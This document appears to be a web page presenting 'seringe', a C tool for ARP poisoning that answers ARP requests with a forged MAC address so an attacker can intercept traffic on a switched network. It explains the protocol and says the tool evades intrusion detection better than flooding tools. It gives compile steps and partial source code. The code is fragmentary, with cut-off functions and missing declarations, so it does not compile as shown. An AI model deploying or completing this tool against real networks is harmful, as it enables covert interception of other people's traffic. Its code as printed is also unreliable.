Seringe is a tool that intercepts ARP requests and replies with his own hardware address. This is done to "sniff" traffic on a switched network where traditional "sniffers" fail.
ARP poisoning is nothing new, it has been around, and implemented many times in several tools, for example: ettercap and dsniff. While being more stealth than just tools that "flood" the network with many ARP-replies, updating machines ARP cache, seringe will update only ARP caches of machines requesting arp addresses. Other, "flooding" tools can be easily detected by NIDS's or by looking at tcpdump output, such as the following excerpt:
In order to communicate over ethernet, a network card needs to know the hardware address of the target interface. To achieve this addresses ARP (address resolution protocol) is used. ARP is a simple, lightweight protocol. To get the mac address of the target, the following sequence happens: Host A needs to know the hardware address (mac address) of host B. And assume that A's ip address is 10.0.0.1 and B's ip address is 10.0.0.2.
1. Host A sends a broadcast packet requesting the mac addr of B
2. B responds with his IP address and his mac address
3. A knows where to sent packets over ethernet to reach B
Now, what seringe does is taking over step 2, and sending host A a fake hardware address for host B. A will think that B is at the "fake" mac address and sent packets to this mac address, thinking it is B. By this, an attacker can capture and record the packets and forward 'em to the real B host.
Compiling:
To compile seringe, you need a Linux machine. Seringe has been tested successfully on Linux, running kernel 2.4.20 and 2.6.0. To compile seringe: gcc seringe.c -o seringe
Source Code:
//seringe.c
/*
seringe v0.2: arp injector and redirector
Copyright 2003,2004 - Michael Hendrickx (michael@scanit.be)
intercepts arp requests, sends "own" mac address (or -m arg).
Without libnet, libpcap or any other libraries.. made during
a security audit when i had no access to these libraries.
//clean shutdown of the program
void cleanup(int sig){
if(sockfd>0) close(sockfd);
if(logfd>0) fclose(logfd);
if(ppacket) free(ppacket); // save the whales, free the malloc()s
fprintf(stdout, "\nseringe terminated with signal %d\n", sig);
fprintf(stdout, "%d arp requests \"fullfilled\"\n", counter);
exit(sig);
}
void usage(char *p){
fprintf(stderr, "usage: %s [-vhp] [-l < file>] [-i < iface>] [-f < addr>] [-m < addr>]\n", p);
fprintf(stderr, "where: -l < file> : log activity to < file>\n");
fprintf(stderr, " -i < iface> : which interface to use (default: %s)\n", IFACE);
fprintf(stderr, " -f < addr> : only \"poison\" this machine (hwaddr)\n");
fprintf(stderr, " -m < addr> : send this hwaddr instead of own mac addr\n");
fprintf(stderr, " -p : don't put interface in promiscious mode\n");
fprintf(stderr, " -h : this screen\n");
fprintf(stderr, " -v : verbosity\n");
fprintf(stderr, "\nnote: use this tool with responsibility\n");
exit(1);
}
// gets hwaddr of *iface
void getmymac(unsigned char *iface, unsigned char *hwaddr){
struct ifreq ifr;
signed int tmpsock;
unsigned int handle(struct packet *input, unsigned char filter[ETH_ALEN]){
// if we are filtering, other packets should be dropped
if(memcmp(filter, ETH_NULL, 6))
if(memcmp(input->ethhdr.h_source, filter, ETH_ALEN)) return 0;
// everything that is not a ethernet broadcast should be denied
if(memcmp(input->ethhdr.h_dest, ETH_BCAST, ETH_ALEN)) return 0;
// (also for passing?)
// if it is not an normal arp request, drop it
if(input->ethhdr.h_proto != htons(ETH_P_ARP)) return 0;
if(input->arphdr.arp_hrdad != htons(ARPHRD_ETHER)) return 0;
if(input->arphdr.arp_prot != htons(ETH_P_IP)) return 0;
if(input->arphdr.arp_opcode != htons(ARPOP_REQUEST)) return 0;
// copy our mac addr as mac addr of "requested ip"
memcpy(output->arphdr.ar_sha, hwaddr, ETH_ALEN);
// but use "his" ip address.
memcpy(output->arphdr.ar_sip, input->arphdr.ar_tip, 4);
// dest = the machine who wanted the info
memcpy(output->arphdr.ar_tha, input->arphdr.ar_sha, ETH_ALEN);
memcpy(output->arphdr.ar_tip, input->arphdr.ar_sip, 4);
// sent the packet, three times, to not be overwritten by slower, real hosts
int main(int argc, char *argv[], char *envp[]){
// variables
signed int c; // getopt
unsigned char *logfn = "", // logfile
*iface = "", // which interface
hwaddr[IFHWADDRLEN],// 6char macaddr
filaddr[IFHWADDRLEN] = { 0x0 }, // if we should filter, filter on this one
flmyhw = 0, // flag for own hardware addr
flprom = 1; // flag to set interface in prom mode
struct sockaddr_ll sll = { 0x0 }; // lowlevel interface stuff